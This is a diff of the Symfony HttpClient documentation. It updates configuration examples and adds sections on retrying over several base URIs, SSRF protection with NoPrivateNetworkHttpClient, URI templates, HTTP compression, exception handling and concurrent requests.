'header-value'], + 'extra' => ['my-key' => 'my-value'], + ]); + +Alternatively, the :class:`Symfony\\Component\\HttpClient\\HttpOptions` class +brings most of the available options with type-hinted getters and setters:: + + $this->client = $client->withOptions( + (new HttpOptions()) + ->setBaseUri('https://...') + // replaces *all* headers at once, and deletes the headers you do not provide + ->setHeaders(['header-name' => 'header-value']) + // set or replace a single header using setHeader() + ->setHeader('another-header-name', 'another-header-value') + ->toArray() + ); + +.. versionadded:: 7.1 + + The :method:`Symfony\\Component\\HttpClient\\HttpOptions::setHeader` + method was introduced in Symfony 7.1. + Some options are described in this guide: * `Authentication`_ @@ -145,12 +170,14 @@ Some options are described in this guide: * `Redirects`_ * `Retry Failed Requests`_ * `HTTP Proxies`_ +* `Using URI Templates`_ Check out the full :ref:`http_client config reference <reference-http-client>` to learn about all the options. -The HTTP client also has one configuration option called -``max_host_connections``, this option can not be overridden by a request: +The HTTP client also has a configuration option called +:ref:`max_host_connections <reference-http-client-max-host-connections>`. +This option cannot be overridden per request: .. configuration-block:: @@ -176,19 +203,21 @@ The HTTP client also has one configuration option called <framework:config> <framework:http-client max-host-connections="10"> <!-- ... --> - </framework-http-client> + </framework:http-client> </framework:config> </container> .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'http_client' => [ - 'max_host_connections' => 10, + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->httpClient() + ->maxHostConnections(10) // ... - ], - ]); + ; + }; .. code-block:: php-standalone @@ -212,7 +241,7 @@ autoconfigure the HTTP client based on the requested URL: http_client: scoped_clients: # only requests matching scope will use these options - github: + github.client: scope: 'https://api\.github\.com' headers: Accept: 'application/vnd.github.v3+json' @@ -221,7 +250,7 @@ autoconfigure the HTTP client based on the requested URL: # using base_uri, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs")) # will default to these options - github: + github.client: base_uri: 'https://api.github.com' headers: Accept: 'application/vnd.github.v3+json' @@ -242,7 +271,7 @@ autoconfigure the HTTP client based on the requested URL: <framework:config> <framework:http-client> <!-- only requests matching scope will use these options --> - <framework:scoped-client name="github" + <framework:scoped-client name="github.client" scope="https://api\.github\.com" > <framework:header name="Accept">application/vnd.github.v3+json</framework:header> @@ -251,7 +280,7 @@ autoconfigure the HTTP client based on the requested URL: <!-- using base-uri, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs")) will default to these options --> - <framework:scoped-client name="github" + <framework:scoped-client name="github.client" base-uri="https://api.github.com" > <framework:header name="Accept">application/vnd.github.v3+json</framework:header> @@ -264,32 +293,26 @@ autoconfigure the HTTP client based on the requested URL: .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'http_client' => [ - 'scoped_clients' => [ - // only requests matching scope will use these options - 'github' => [ - 'scope' => 'https://api\.github\.com', - 'headers' => [ - 'Accept' => 'application/vnd.github.v3+json', - 'Authorization' => 'token %env(GITHUB_API_TOKEN)%', - ], - // ... - ], - - // using base_url, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs")) - // will default to these options - 'github' => [ - 'base_uri' => 'https://api.github.com', - 'headers' => [ - 'Accept' => 'application/vnd.github.v3+json', - 'Authorization' => 'token %env(GITHUB_API_TOKEN)%', - ], - // ... - ], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + // only requests matching scope will use these options + $framework->httpClient()->scopedClient('github.client') + ->scope('https://api\.github\.com') + ->header('Accept', 'application/vnd.github.v3+json') + ->header('Authorization', 'token %env(GITHUB_API_TOKEN)%') + // ... + ; + + // using base_url, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs")) + // will default to these options + $framework->httpClient()->scopedClient('github.client') + ->baseUri('https://api.github.com') + ->header('Accept', 'application/vnd.github.v3+json') + ->header('Authorization', 'token %env(GITHUB_API_TOKEN)%') + // ... + ; + }; .. code-block:: php-standalone @@ -320,16 +343,28 @@ autoconfigure the HTTP client based on the requested URL: You can define several scopes, so that each set of options is added only if a requested URL matches one of the regular expressions set by the ``scope`` option. +.. note:: + + The options passed to the ``request()`` method are merged with the default + options defined in the scoped client. The options passed to ``request()`` + take precedence and override or extend the default ones. + If you use scoped clients in the Symfony framework, you must use any of the methods defined by Symfony to :ref:`choose a specific service <services-wire-specific-service>`. Each client has a unique service named after its configuration. Each scoped client also defines a corresponding named autowiring alias. If you use for example -``Symfony\Contracts\HttpClient\HttpClientInterface $myApiClient`` -as the type and name of an argument, autowiring will inject the ``my_api.client`` +``Symfony\Contracts\HttpClient\HttpClientInterface $githubClient`` +as the type and name of an argument, autowiring will inject the ``github.client`` service into your autowired classes. +.. note:: + + Read the :ref:`base_uri option docs <reference-http-client-base-uri>` to + learn the rules applied when merging relative URIs into the base URI of the + scoped client. + Making Requests --------------- @@ -364,11 +399,6 @@ immediately instead of waiting to receive the response:: This component also supports :ref:`streaming responses <http-client-streaming-responses>` for full asynchronous applications. -.. note:: - - HTTP compression and chunked transfer encoding are automatically enabled when - both your PHP runtime and the remote server support them. - Authentication ~~~~~~~~~~~~~~ @@ -419,31 +449,28 @@ each request (which overrides any global authentication): auth-bearer="the-bearer-token" auth-ntlm="the-username:the-password" /> - </framework-http-client> + </framework:http-client> </framework:config> </container> .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'http_client' => [ - 'scoped_clients' => [ - 'example_api' => [ - 'base_uri' => 'https://example.com/', + use Symfony\Config\FrameworkConfig; - // HTTP Basic authentication - 'auth_basic' => 'the-username:the-password', + return static function (FrameworkConfig $framework): void { + $framework->httpClient()->scopedClient('example_api') + ->baseUri('https://example.com/') + // HTTP Basic authentication + ->authBasic('the-username:the-password') - // HTTP Bearer authentication (also called token authentication) - 'auth_bearer' => 'the-bearer-token', + // HTTP Bearer authentication (also called token authentication) + ->authBearer('the-bearer-token') - // Microsoft NTLM authentication - 'auth_ntlm' => 'the-username:the-password', - ], - ], - ], - ]); + // Microsoft NTLM authentication + ->authNtlm('the-username:the-password') + ; + }; .. code-block:: php-standalone @@ -471,6 +498,11 @@ each request (which overrides any global authentication): // ... ]); +.. note:: + + Basic Authentication can also be set by including the credentials in the URL, + such as: ``http://the-username:the-password@example.com`` + .. note:: The NTLM authentication mechanism requires using the cURL transport. @@ -495,8 +527,7 @@ associative array via the ``query`` option, that will be merged with the URL:: Headers ~~~~~~~ -Use the ``headers`` option to define both the default headers added to all -requests and the specific headers for each request: +Use the ``headers`` option to define the default headers added to all requests: .. configuration-block:: @@ -505,8 +536,9 @@ requests and the specific headers for each request: # config/packages/framework.yaml framework: http_client: - headers: - 'User-Agent': 'My Fancy App' + default_options: + headers: + 'User-Agent': 'My Fancy App' .. code-block:: xml @@ -521,21 +553,24 @@ requests and the specific headers for each request: <framework:config> <framework:http-client> - <framework:header name="User-Agent">My Fancy App</framework:header> - </framework-http-client> + <framework:default-options> + <framework:header name="User-Agent">My Fancy App</framework:header> + </framework:default-options> + </framework:http-client> </framework:config> </container> .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'http_client' => [ - 'headers' => [ - 'User-Agent' => 'My Fancy App', - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->httpClient() + ->defaultOptions() + ->header('User-Agent', 'My Fancy App') + ; + }; .. code-block:: php-standalone @@ -546,7 +581,7 @@ requests and the specific headers for each request: ], ]); -.. code-block:: php +You can also set new headers or override the default ones for specific requests:: // this header is only included in this request and overrides the value // of the same header if defined globally by the HTTP client @@ -602,22 +637,16 @@ A generator or any ``Traversable`` can also be used instead of a closure. $decodedPayload = $response->toArray(); -To submit a form with file uploads, it is your responsibility to encode the body -according to the ``multipart/form-data`` content-type. The -:doc:`Symfony Mime </components/mime>` component makes it a few lines of code:: +To submit a form with file uploads, pass the file handle to the ``body`` option:: - use Symfony\Component\Mime\Part\DataPart; - use Symfony\Component\Mime\Part\Multipart\FormDataPart; + $fileHandle = fopen('/path/to/the/file', 'r'); + $client->request('POST', 'https://...', ['body' => ['the_file' => $fileHandle]]); - $formFields = [ - 'regular_field' => 'some value', - 'file_field' => DataPart::fromPath('/path/to/uploaded/file'), - ]; - $formData = new FormDataPart($formFields); - $client->request('POST', 'https://...', [ - 'headers' => $formData->getPreparedHeaders()->toArray(), - 'body' => $formData->bodyToIterable(), - ]); +By default, this code will populate the filename and content-type with the data +of the opened file, but you can configure both with the PHP streaming configuration:: + + stream_context_set_option($fileHandle, 'http', 'filename', 'the-name.txt'); + stream_context_set_option($fileHandle, 'http', 'content_type', 'my/content-type'); .. tip:: @@ -644,9 +673,14 @@ according to the ``multipart/form-data`` content-type. The $formData->getParts(); // Returns two instances of TextPart both // with the name "array_field" - .. versionadded:: 5.2 +The ``Content-Type`` of each form's part is detected automatically. However, +you can override it by passing a ``DataPart``:: - The alternative array structure was introduced in Symfony 5.2. + use Symfony\Component\Mime\Part\DataPart; + + $formData = new FormDataPart([ + ['json_data' => new DataPart(json_encode($json), null, 'application/json')] + ]); By default, HttpClient streams the body contents when uploading them. This might not work with all servers, resulting in HTTP status code 411 ("Length Required") @@ -657,8 +691,14 @@ when the streams are large):: $client->request('POST', 'https://...', [ // ... 'body' => $formData->bodyToString(), + 'headers' => $formData->getPreparedHeaders()->toArray(), ]); +If you need to add a custom HTTP header to the upload, you can do:: + + $headers = $formData->getPreparedHeaders()->toArray(); + $headers[] = 'X-Foo: bar'; + Cookies ~~~~~~~ @@ -667,9 +707,25 @@ requires a stateful storage (because responses can update cookies and they must be used for subsequent requests). That's why this component doesn't handle cookies automatically. -You can either handle cookies yourself using the ``Cookie`` HTTP header or use -the :doc:`BrowserKit component </components/browser_kit>` which provides this -feature and integrates seamlessly with the HttpClient component. +You can either :ref:`send cookies with the BrowserKit component <component-browserkit-sending-cookies>`, +which integrates seamlessly with the HttpClient component, or manually setting +`the Cookie HTTP request header`_ as follows:: + + use Symfony\Component\HttpClient\HttpClient; + use Symfony\Component\HttpFoundation\Cookie; + + $client = HttpClient::create([ + 'headers' => [ + // set one cookie as a name=value pair + 'Cookie' => 'flavor=chocolate', + + // you can set multiple cookies at once separating them with a ; + 'Cookie' => 'flavor=chocolate; size=medium', + + // if needed, encode the cookie value to ensure that it contains valid characters + 'Cookie' => sprintf("%s=%s", 'foo', rawurlencode('...')), + ], + ]); Redirects ~~~~~~~~~ @@ -687,16 +743,16 @@ making a request. Use the ``max_redirects`` setting to configure this behavior Retry Failed Requests ~~~~~~~~~~~~~~~~~~~~~ -.. versionadded:: 5.2 - - The feature to retry failed HTTP requests was introduced in Symfony 5.2. - Sometimes, requests fail because of network issues or temporary server errors. Symfony's HttpClient allows to retry failed requests automatically using the -:ref:`retry_failed option <reference-http-client-retry-failed>`. When enabled, -each failed request with an HTTP status of ``423``, ``425``, ``429``, ``500``, -``502``, ``503``, ``504``, ``507``, or ``510`` is retried up to 3 times, with an -exponential delay between retries (first retry = 1 second; third retry: 4 seconds). +:ref:`retry_failed option <reference-http-client-retry-failed>`. + +By default, failed requests are retried up to 3 times, with an exponential delay +between retries (first retry = 1 second; third retry: 4 seconds) and only for +the following HTTP status codes: ``423``, ``425``, ``429``, ``502`` and ``503`` +when using any HTTP method and ``500``, ``504``, ``507`` and ``510`` when using +an HTTP `idempotent method`_. Use the ``max_retries`` setting to configure the +amount of times a request is retried. Check out the full list of configurable :ref:`retry_failed options <reference-http-client-retry-failed>` to learn how to tweak each of them to fit your application needs. @@ -709,11 +765,59 @@ original HTTP client:: $client = new RetryableHttpClient(HttpClient::create()); -The ``RetryableHttpClient`` uses a -:class:`Symfony\\Component\\HttpClient\\Retry\\RetryDeciderInterface` to -decide if the request should be retried, and a -:class:`Symfony\\Component\\HttpClient\\Retry\\RetryBackOffInterface` to -define the waiting time between each retry. +The :class:`Symfony\\Component\\HttpClient\\RetryableHttpClient` uses a +:class:`Symfony\\Component\\HttpClient\\Retry\\RetryStrategyInterface` to +decide if the request should be retried, and to define the waiting time between +each retry. + +Retry Over Several Base URIs +............................ + +The ``RetryableHttpClient`` can be configured to use multiple base URIs. This +feature provides increased flexibility and reliability for making HTTP +requests. Pass an array of base URIs as option ``base_uri`` when making a +request:: + + $response = $client->request('GET', 'some-page', [ + 'base_uri' => [ + // first request will use this base URI + 'https://example.com/a/', + // if first request fails, the following base URI will be used + 'https://example.com/b/', + ], + ]); + +When the number of retries is higher than the number of base URIs, the +last base URI will be used for the remaining retries. + +If you want to shuffle the order of base URIs for each retry attempt, nest the +base URIs you want to shuffle in an additional array:: + + $response = $client->request('GET', 'some-page', [ + 'base_uri' => [ + [ + // a single random URI from this array will be used for the first request + 'https://example.com/a/', + 'https://example.com/b/', + ], + // non-nested base URIs are used in order + 'https://example.com/c/', + ], + ]); + +This feature allows for a more randomized approach to handling retries, +reducing the likelihood of repeatedly hitting the same failed base URI. + +By using a nested array for the base URI, you can use this feature +to distribute the load among many nodes in a cluster of servers. + +You can also configure the array of base URIs using the ``withOptions()`` +method:: + + $client = $client->withOptions(['base_uri' => [ + 'https://example.com/a/', + 'https://example.com/b/', + ]]); HTTP Proxies ~~~~~~~~~~~~ @@ -748,7 +852,144 @@ called when new data is uploaded or downloaded and at least once per second:: ]); Any exceptions thrown from the callback will be wrapped in an instance of -``TransportExceptionInterface`` and will abort the request. +:class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface` +and will abort the request. + +HTTPS Certificates +~~~~~~~~~~~~~~~~~~ + +HttpClient uses the system's certificate store to validate SSL certificates +(while browsers use their own stores). When using self-signed certificates +during development, it's recommended to create your own certificate authority +(CA) and add it to your system's store. + +Alternatively, you can also disable ``verify_host`` and ``verify_peer`` (see +:ref:`http_client config reference <reference-http-client>`), but this is not +recommended in production. + +SSRF (Server-side request forgery) Handling +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +`SSRF`_ allows an attacker to induce the backend application to make HTTP +requests to an arbitrary domain. These attacks can also target the internal +hosts and IPs of the attacked server. + +If you use an :class:`Symfony\\Component\\HttpClient\\HttpClient` together +with user-provided URIs, it is probably a good idea to decorate it with a +:class:`Symfony\\Component\\HttpClient\\NoPrivateNetworkHttpClient`. This will +ensure local networks are made inaccessible to the HTTP client:: + + use Symfony\Component\HttpClient\HttpClient; + use Symfony\Component\HttpClient\NoPrivateNetworkHttpClient; + + $client = new NoPrivateNetworkHttpClient(HttpClient::create()); + // nothing changes when requesting public networks + $client->request('GET', 'https://example.com/'); + + // however, all requests to private networks are now blocked by default + $client->request('GET', 'http://localhost/'); + + // the second optional argument defines the networks to block + // in this example, requests from 104.26.14.0 to 104.26.15.255 will result in an exception + // but all the other requests, including other internal networks, will be allowed + $client = new NoPrivateNetworkHttpClient(HttpClient::create(), ['104.26.14.0/23']); + +Profiling +~~~~~~~~~ + +When you are using the :class:`Symfony\\Component\\HttpClient\\TraceableHttpClient`, +responses content will be kept in memory and may exhaust it. + +You can disable this behavior by setting the ``extra.trace_content`` option to ``false`` +in your requests:: + + $response = $client->request('GET', 'https://...', [ + 'extra' => ['trace_content' => false], + ]); + +This setting won't affect other clients. + +Using URI Templates +~~~~~~~~~~~~~~~~~~~ + +The :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient` provides +a client that eases the use of URI templates, as described in the `RFC 6570`_:: + + $client = new UriTemplateHttpClient(); + + // this will make a request to the URL http://example.org/users?page=1 + $client->request('GET', 'http://example.org/{resource}{?page}', [ + 'vars' => [ + 'resource' => 'users', + 'page' => 1, + ], + ]); + +Before using URI templates in your applications, you must install a third-party +package that expands those URI templates to turn them into URLs: + +.. code-block:: terminal + + $ composer require league/uri + + # Symfony also supports the following URI template packages: + # composer require guzzlehttp/uri-template + # composer require rize/uri-template + +When using this client in the framework context, all existing HTTP clients +are decorated by the :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient`. +This means that URI template feature is enabled by default for all HTTP clients +you may use in your application. + +You can configure variables that will be replaced globally in all URI templates +of your application: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + http_client: + default_options: + vars: + - secret: 'secret-token' + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:http-client> + <framework:default-options> + <framework:vars name="secret">secret-token</framework:vars> + </framework:default-options> + </framework:http-client> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework) { + $framework->httpClient() + ->defaultOptions() + ->vars(['secret' => 'secret-token']) + ; + }; + +If you want to define your own logic to handle variables of URI templates, you +can do so by redefining the ``http_client.uri_template_expander`` alias. Your +service must be invokable. Performance ----------- @@ -763,14 +1004,24 @@ To leverage all these design benefits, the cURL extension is needed. Enabling cURL Support ~~~~~~~~~~~~~~~~~~~~~ -This component supports both the native PHP streams and cURL to make the HTTP -requests. Although both are interchangeable and provide the same features, -including concurrent requests, HTTP/2 is only supported when using cURL. +This component can make HTTP requests using native PHP streams and the +``amphp/http-client`` and cURL libraries. Although they are interchangeable and +provide the same features, including concurrent requests, HTTP/2 is only supported +when using cURL or ``amphp/http-client``. + +.. note:: -``HttpClient::create()`` selects the cURL transport if the `cURL PHP extension`_ -is enabled and falls back to PHP streams otherwise. If you prefer to select -the transport explicitly, use the following classes to create the client:: + To use the :class:`Symfony\\Component\\HttpClient\\AmpHttpClient`, the + `amphp/http-client`_ package must be installed. +The :method:`Symfony\\Component\\HttpClient\\HttpClient::create` method +selects the cURL transport if the `cURL PHP extension`_ is enabled. It falls +back to ``AmpHttpClient`` if cURL couldn't be found or is too old. Finally, if +``AmpHttpClient`` is not available, it falls back to PHP streams. +If you prefer to select the transport explicitly, use the following classes +to create the client:: + + use Symfony\Component\HttpClient\AmpHttpClient; use Symfony\Component\HttpClient\CurlHttpClient; use Symfony\Component\HttpClient\NativeHttpClient; @@ -780,21 +1031,20 @@ the transport explicitly, use the following classes to create the client:: // uses the cURL PHP extension $client = new CurlHttpClient(); + // uses the client from the `amphp/http-client` package + $client = new AmpHttpClient(); + When using this component in a full-stack Symfony application, this behavior is not configurable and cURL will be used automatically if the cURL PHP extension -is installed and enabled. Otherwise, the native PHP streams will be used. +is installed and enabled, and will fall back as explained above. Configuring CurlHttpClient Options ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -.. versionadded:: 5.2 - - The feature to configure extra cURL options was introduced in Symfony 5.2. - PHP allows to configure lots of `cURL options`_ via the :phpfunction:`curl_setopt` function. In order to make the component more portable when not using cURL, the -``CurlHttpClient`` only uses some of those options (and they are ignored in the -rest of clients). +:class:`Symfony\\Component\\HttpClient\\CurlHttpClient` only uses some of those +options (and they are ignored in the rest of clients). Add an ``extra.curl`` option in your configuration to pass those extra options:: @@ -806,9 +1056,9 @@ Add an ``extra.curl`` option in your configuration to pass those extra options:: // ... 'extra' => [ 'curl' => [ - CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V6 - ] - ] + CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V6, + ], + ], ]); .. note:: @@ -816,21 +1066,34 @@ Add an ``extra.curl`` option in your configuration to pass those extra options:: Some cURL options are impossible to override (e.g. because of thread safety) and you'll get an exception when trying to override them. +HTTP Compression +~~~~~~~~~~~~~~~~ + +The HTTP header ``Accept-Encoding: gzip`` is added automatically if: + +* using cURL client: cURL was compiled with ZLib support (see ``php --ri curl``) +* using the native HTTP client: `Zlib PHP extension`_ is installed + +If the server does respond with a gzipped response, it's decoded transparently. +To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header. + +Chunked transfer encoding is enabled automatically if both your PHP runtime and +the remote server support it. + +.. warning:: + + If you set ``Accept-Encoding`` to e.g. ``gzip``, you will need to handle the + decompression yourself. + HTTP/2 Support ~~~~~~~~~~~~~~ When requesting an ``https`` URL, HTTP/2 is enabled by default if one of the following tools is installed: -* The `libcurl`_ package version 7.36 or higher; +* The `libcurl`_ package version 7.36 or higher, used with PHP >= 7.2.17 / 7.3.4; * The `amphp/http-client`_ Packagist package version 4.2 or higher. -.. versionadded:: 5.1 - - Integration with ``amphp/http-client`` was introduced in Symfony 5.1. - Prior to this version, HTTP/2 was only supported when ``libcurl`` was - installed. - To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the ``http_version`` option: @@ -841,7 +1104,8 @@ To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the # config/packages/framework.yaml framework: http_client: - http_version: '2.0' + default_options: + http_version: '2.0' .. code-block:: xml @@ -855,26 +1119,31 @@ To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config> - <framework:http-client http-version="2.0"/> + <framework:http-client> + <framework:default-options http-version="2.0"/> + </framework:http-client> </framework:config> </container> .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'http_client' => [ - 'http_version' => '2.0', - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->httpClient() + ->defaultOptions() + ->httpVersion('2.0') + ; + }; .. code-block:: php-standalone $client = HttpClient::create(['http_version' => '2.0']); -Support for HTTP/2 PUSH works out of the box when libcurl >= 7.61 is used with -PHP >= 7.2.17 / 7.3.4: pushed responses are put into a temporary cache and are -used when a subsequent request is triggered for the corresponding URLs. +Support for HTTP/2 PUSH works out of the box when using a compatible client: +pushed responses are put into a temporary cache and are used when a +subsequent request is triggered for the corresponding URLs. Processing Responses -------------------- @@ -909,10 +1178,20 @@ following methods:: // you can get individual info too $startTime = $response->getInfo('start_time'); + // e.g. this returns the final response URL (resolving redirections if needed) + $url = $response->getInfo('url'); // returns detailed logs about the requests and responses of the HTTP transaction $httpLogs = $response->getInfo('debug'); + // the special "pause_handler" info item is a callable that allows to delay the request + // for a given number of seconds; this allows you to delay retries, throttle streams, etc. + $response->getInfo('pause_handler')(2); + +.. note:: + + ``$response->toStream()`` is part of :class:`Symfony\\Component\\HttpClient\\Response\\StreamableInterface`. + .. note:: ``$response->getInfo()`` is non-blocking: it returns *live* information @@ -924,8 +1203,9 @@ following methods:: Streaming Responses ~~~~~~~~~~~~~~~~~~~ -Call the ``stream()`` method of the HTTP client to get *chunks* of the -response sequentially instead of waiting for the entire response:: +Call the :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::stream` +method to get *chunks* of the response sequentially instead of waiting for the +entire response:: $url = 'https://releases.ubuntu.com/18.04.1/ubuntu-18.04.1-desktop-amd64.iso'; $response = $client->request('GET', $url); @@ -948,16 +1228,16 @@ response sequentially instead of waiting for the entire response:: ``php://temp`` stream. You can control this behavior by using the ``buffer`` option: set it to ``true``/``false`` to enable/disable buffering, or to a closure that should return the same based on the response headers it receives - as argument. + as an argument. Canceling Responses ~~~~~~~~~~~~~~~~~~~ To abort a request (e.g. because it didn't complete in due time, or you want to fetch only the first bytes of the response, etc.), you can either use the -``cancel()`` method of ``ResponseInterface``:: +:method:`Symfony\\Contracts\\HttpClient\\ResponseInterface::cancel`:: - $response->cancel() + $response->cancel(); Or throw an exception from a progress callback:: @@ -969,7 +1249,8 @@ Or throw an exception from a progress callback:: }, ]); -The exception will be wrapped in an instance of ``TransportExceptionInterface`` +The exception will be wrapped in an instance of +:class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface` and will abort the request. In case the response was canceled using ``$response->cancel()``, @@ -978,21 +1259,32 @@ In case the response was canceled using ``$response->cancel()``, Handling Exceptions ~~~~~~~~~~~~~~~~~~~ +There are three types of exceptions, all of which implement the +:class:`Symfony\\Contracts\\HttpClient\\Exception\\ExceptionInterface`: + +* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface` + are thrown when your code does not handle the status codes in the 300-599 range. + +* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface` + are thrown when a lower level issue occurs. + +* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\DecodingExceptionInterface` + are thrown when a content-type cannot be decoded to the expected representation. + When the HTTP status code of the response is in the 300-599 range (i.e. 3xx, -4xx or 5xx) your code is expected to handle it. If you don't do that, the -``getHeaders()``, ``getContent()`` and ``toArray()`` methods throw an appropriate exception, all of -which implement the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`:: +4xx or 5xx), the ``getHeaders()``, ``getContent()`` and ``toArray()`` methods +throw an appropriate exception, all of which implement the +:class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`. - // the response of this request will be a 403 HTTP error - $response = $client->request('GET', 'https://httpbin.org/status/403'); +To opt-out from this exception and deal with 300-599 status codes on your own, +pass ``false`` as the optional argument to every call of those methods, +e.g. ``$response->getHeaders(false);``. - // this code results in a Symfony\Component\HttpClient\Exception\ClientException - // because it doesn't check the status code of the response - $content = $response->getContent(); +If you do not call any of these 3 methods at all, the exception will still be thrown +when the ``$response`` object is destructed. - // pass FALSE as the optional argument to not throw an exception and return - // instead the original response content (even if it's an error message) - $content = $response->getContent(false); +Calling ``$response->getStatusCode()`` is enough to disable this behavior +(but then don't miss checking the status code yourself). While responses are lazy, their destructor will always wait for headers to come back. This means that the following request *will* complete; and if e.g. a 404 @@ -1019,73 +1311,82 @@ responses in an array:: This behavior provided at destruction-time is part of the fail-safe design of the component. No errors will be unnoticed: if you don't write the code to handle errors, exceptions will notify you when needed. On the other hand, if you write -the error-handling code, you will opt-out from these fallback mechanisms as the -destructor won't have anything remaining to do. - -There are three types of exceptions: - -* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface` - are thrown when your code does not handle the status codes in the 300-599 range. - -* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface` - are thrown when a lower level issue occurs. - -* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\DecodingExceptionInterface` - are thrown when a content-type cannot be decoded to the expected representation. +the error-handling code (by calling ``$response->getStatusCode()``), you will +opt-out from these fallback mechanisms as the destructor won't have anything +remaining to do. Concurrent Requests ------------------- -Thanks to responses being lazy, requests are always managed concurrently. -On a fast enough network, the following code makes 379 requests in less than -half a second when cURL is used:: +Symfony's HTTP client makes asynchronous HTTP requests by default. This means +you don't need to configure anything special to send multiple requests in parallel +and process them efficiently. +Here's a practical example that fetches metadata about several Symfony +components from the Packagist API in parallel:: + + $packages = ['console', 'http-kernel', '...', 'routing', 'yaml']; $responses = []; - for ($i = 0; $i < 379; ++$i) { - $uri = "https://http2.akamai.com/demo/tile-$i.png"; - $responses[] = $client->request('GET', $uri); + foreach ($packages as $package) { + $uri = sprintf('https://repo.packagist.org/p2/symfony/%s.json', $package); + // send all requests concurrently (they won't block until response content is read) + $responses[$package] = $client->request('GET', $uri); } - foreach ($responses as $response) { - $content = $response->getContent(); - // ... + $results = []; + // iterate through the responses and read their content + foreach ($responses as $package => $response) { + // process response data somehow ... + $results[$package] = $response->toArray(); } -As you can read in the first "for" loop, requests are issued but are not consumed -yet. That's the trick when concurrency is desired: requests should be sent -first and be read later on. This will allow the client to monitor all pending -requests while your code waits for a specific one, as done in each iteration of -the above "foreach" loop. +As you can see, the requests are sent in the first loop, but their responses +aren't consumed until the second one. This is the key to achieving parallel and +concurrent execution: dispatch all requests first, and read them later. +This allows the client to handle all pending responses efficiently while your +code waits only when necessary. + +.. note:: + + The maximum number of concurrent requests depends on your system's resources + (e.g. the operating system might limit the number of simultaneous connections + or access to certificate files). To avoid hitting these limits, consider + processing requests in batches. + + There is, however, a maximum amount of concurrent connections that can be open + per host (``6`` by default). See :ref:`max_host_connections <reference-http-client-max-host-connections>`. Multiplexing Responses ~~~~~~~~~~~~~~~~~~~~~~ -If you look again at the snippet above, responses are read in requests' order. -But maybe the 2nd response came back before the 1st? Fully asynchronous operations -require being able to deal with the responses in whatever order they come back. +In the previous example, responses are read in the same order as the requests +were sent. However, it's possible that, for instance, the second response arrives +before the first. To handle such cases efficiently, you need fully asynchronous +processing, which allows responses to be handled in whatever order they arrive. -In order to do so, the ``stream()`` method of HTTP clients accepts a list of -responses to monitor. As mentioned :ref:`previously <http-client-streaming-responses>`, -this method yields response chunks as they arrive from the network. By replacing -the "foreach" in the snippet with this one, the code becomes fully async:: +To achieve this, the +:method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::stream` method +can be used to monitor a list of responses. As mentioned +:ref:`previously <http-client-streaming-responses>`, this method yields response +chunks as soon as they arrive over the network. Replacing the standard ``foreach`` +loop with the following version enables true asynchronous behavior:: foreach ($client->stream($responses) as $response => $chunk) { if ($chunk->isFirst()) { - // headers of $response just arrived - // $response->getHeaders() is now a non-blocking call + // the $response headers just arrived + // $response->getHeaders() is now non-blocking } elseif ($chunk->isLast()) { - // the full content of $response just completed - // $response->getContent() is now a non-blocking call + // the full $response body has been received + // $response->getContent() is now non-blocking } else { - // $chunk->getContent() will return a piece - // of the response body that just arrived + // $chunk->getContent() returns a piece of the body that just arrived } } .. tip:: - Use the ``user_data`` option combined with ``$response->getInfo('user_data')`` - to track the identity of the responses in your foreach loops. + Use the ``user_data`` option along with ``$response->getInfo('user_data')`` + to identify each response during streaming. Dealing with Network Timeouts ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -1110,7 